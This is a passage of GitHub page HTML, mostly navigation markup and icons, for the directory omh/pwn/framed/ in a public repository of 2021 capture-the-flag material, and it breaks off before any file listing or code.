1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-3 mb-4 mb-lg-0 d-inline-block"> Sign in </div> Sign up </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div data-pjax-replace id="js-flash-container"> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class=" px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div>{{ message }}</div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" data-pjax-container > <div id="repository-container-header" class="pt-3 hide-full-screen mb-5" style="background-color: var(--color-page-header-bg);" data-pjax-replace> <div class="d-flex mb-3 px-3 px-md-4 px-lg-5"> <div class="flex-auto min-width-0 width-fit mr-3"> <h1 class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-icon-secondary mr-2"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <span> kam1tsur3 </span> <span>/</span> 2021_CTF <span></span><span>Public</span></h1> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell"> <path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> Notifications <div > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom mr-1"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path></svg> <span> Star</span> 5 </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked"> <path fill-rule="evenodd" d="M5 3.25a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm0 2.122a2.25 2.25 0 10-1.5 0v.878A2.25 2.25 0 005.75 8.5h1.5v2.128a2.251 2.251 0 101.5 0V8.5h1.5a2.25 2.25 0 002.25-2.25v-.878a2.25 2.25 0 10-1.5 0v.878a.75.75 0 01-.75.75h-4.5A.75.75 0 015 6.25v-.878zm3.75 7.378a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm3-8.75a.75.75 0 100-1.5.75.75 0 000 1.5z"></path></svg> Fork 0 </div> <div id="responsive-meta-container" data-pjax-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M4.72 3.22a.75.75 0 011.06 1.06L2.06 8l3.72 3.72a.75.75 0 11-1.06 1.06L.47 8.53a.75.75 0 010-1.06l4.25-4.25zm6.56 0a.75.75 0 10-1.06 1.06L13.94 8l-3.72 3.72a.75.75 0 101.06 1.06l4.25-4.25a.75.75 0 000-1.06l-4.25-4.25z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path><path fill-rule="evenodd" d="M8 0a8 8 0 100 16A8 8 0 008 0zM1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.177 3.073L9.573.677A.25.25 0 0110 .854v4.792a.25.25 0 01-.427.177L7.177 3.427a.25.25 0 010-.354zM3.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122v5.256a2.251 2.251 0 11-1.5 0V5.372A2.25 2.25 0 011.5 3.25zM11 2.5h-1V4h1a1 1 0 011 1v5.628a2.251 2.251 0 101.5 0V5A2.5 2.5 0 0011 2.5zm1 10.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0zM3.75 12a.75.75 0 100 1.5.75.75 0 000-1.5z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM6.379 5.227A.25.25 0 006 5.442v5.117a.25.25 0 00.379.214l4.264-2.559a.25.25 0 000-.428L6.379 5.227z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path></svg> <span>Wiki</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.467.133a1.75 1.75 0 011.066 0l5.25 1.68A1.75 1.75 0 0115 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.7 1.7 0 01-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 011.217-1.667l5.25-1.68zm.61 1.429a.25.25 0 00-.153 0l-5.25 1.68a.25.25 0 00-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.2.2 0 00.154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.25.25 0 00-.174-.237l-5.25-1.68zM9 10.5a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.75a.75.75 0 10-1.5 0v3a.75.75 0 001.5 0v-3z"></path></svg> <span>Security</span> <include-fragment src="/kam1tsur3/2021_CTF/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 1.75a.75.75 0 00-1.5 0v12.5c0 .414.336.75.75.75h14.5a.75.75 0 000-1.5H1.5V1.75zm14.28 2.53a.75.75 0 00-1.06-1.06L10 7.94 7.53 5.47a.75.75 0 00-1.06 0L3.22 8.72a.75.75 0 001.06 1.06L7 7.06l2.47 2.47a.75.75 0 001.06 0l5.25-5.25z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path></svg> <span>More</span> </div></summary> <div data-view-component="true"> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights </details-menu></div></details></div></nav> </div> <div class="clearfix new-discussion-timeline container-xl px-3 px-md-4 px-lg-5"> <div id="repo-content-pjax-container" class="repository-content " > <div> <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="details-reset details-overlay mr-0 mb-0 " id="branch-select-menu"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path fill-rule="evenodd" d="M11.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122V6A2.5 2.5 0 0110 8.5H6a1 1 0 00-1 1v1.128a2.251 2.251 0 11-1.5 0V5.372a2.25 2.25 0 111.5 0v1.836A2.492 2.492 0 016 7h4a1 1 0 001-1v-.628A2.25 2.25 0 019.5 3.25zM4.25 12a.75.75 0 100 1.5.75.75 0 000-1.5zM3.5 3.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" class="d-flex flex-column flex-auto overflow-auto" tabindex=""> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/kam1tsur3/2021_CTF/refs" cache-key="v0:1610206114.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="a2FtMXRzdXIzLzIwMjFfQ1RG" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" class="d-flex flex-column flex-auto overflow-auto" tabindex="" hidden> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/kam1tsur3/2021_CTF/refs" cache-key="v0:1610206114.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="a2FtMXRzdXIzLzIwMjFfQ1RG" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>2021_CTF</span></span></span><span>/</span><span><span>omh</span></span><span>/</span><span><span>pwn</span></span><span>/</span>framed<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>2021_CTF</span></span></span><span>/</span><span><span>omh</span></span><span>/</span><span><span>pwn</span></span><span>/</span>framed<span>/</span></div> <div class="Box mb-3"> <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-1 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment 